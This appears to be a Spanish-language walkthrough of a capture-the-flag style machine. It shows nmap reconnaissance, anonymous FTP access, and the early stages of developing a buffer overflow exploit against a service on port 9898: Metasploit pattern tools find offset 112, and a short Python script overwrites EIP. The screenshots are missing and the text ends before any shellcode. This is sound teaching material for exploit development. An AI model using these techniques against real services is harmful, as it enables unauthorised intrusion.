Hacemos el escaneo de nmap:
Y vemos que el login como anonymous está habilitado:
Si ejecutamos ese binario, vemos que no ocurre nada aparentemente:
Y con la herramienta strace vemos que se esto levanta un puerto, el 9898 dentro del localhost:
Por lo que probamos en conectarnos y vemos que funciona:
De todos modos esto mismo corre en la máquina por el puerto 9898 (como también vimos con nmap):
En este punto, es posible que este binario admita un número determinado de caracteres, de tal forma que por ejemplo si ponemos algo no esperado nos sale el siguiente mensaje:
Pero si ponemos una cadena de caracteres mucho mayor, el binario se corrompe y se cierra:
OBTENER EL OFFSET
Tenemos que obtener un dato llamado offset, y para ello primero vamos a usar una herramienta para generar el payload del bof:
msf-pattern_create -l 2000
Una vez con esto, vamos a ejecutar una herramienta llamada gdb donde vamos a pasarle este dato (en la parte de abajo le pegamos el payload anterior y arriba vemos que obtenemos un cópdigo):
Ese código lo pasamos por una herramienta llamada msf-pattern_offset que nos permitirá conocer el offset:
msf-pattern_offset -l 2000 -q 0x64413764
CONTROLAR EL EIP
Ahora el siguiente paso será crear un script de python para controlar el EIP usando el offset obtenido anteriormente:
#!/usr/bin/python import sys,socket shellcode = 'A'*112 + 'B'*4 + "\x90"*32 #if done correctly, you should see the EIP filled with 42424242 try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',9898)) s.send((shellcode)) s.close() except: print("Error connecting to server") sys.exit()
Hay que tener en cuenta que le ponemos 112 porque es el offset obtenido anteriormente:














